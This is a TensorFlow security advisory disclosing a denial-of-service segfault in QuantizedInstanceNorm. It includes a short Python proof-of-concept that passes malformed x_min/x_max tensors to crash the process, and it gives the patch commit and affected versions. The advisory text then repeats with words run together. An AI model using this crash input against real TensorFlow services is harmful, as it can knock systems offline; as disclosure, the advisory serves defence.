Impact
If QuantizedInstanceNorm is given x_min or x_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
output_range_given = False
given_y_min = 0
given_y_max = 0
variance_epsilon = 1e-05
min_separation = 0.001
x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8)
x_min = tf.constant([], shape=[0], dtype=tf.float32)
x_max = tf.constant(0, shape=[], dtype=tf.float32)
tf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation)
Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
References
Impact
If
QuantizedInstanceNormis givenx_minorx_maxtensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.Patches
We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
References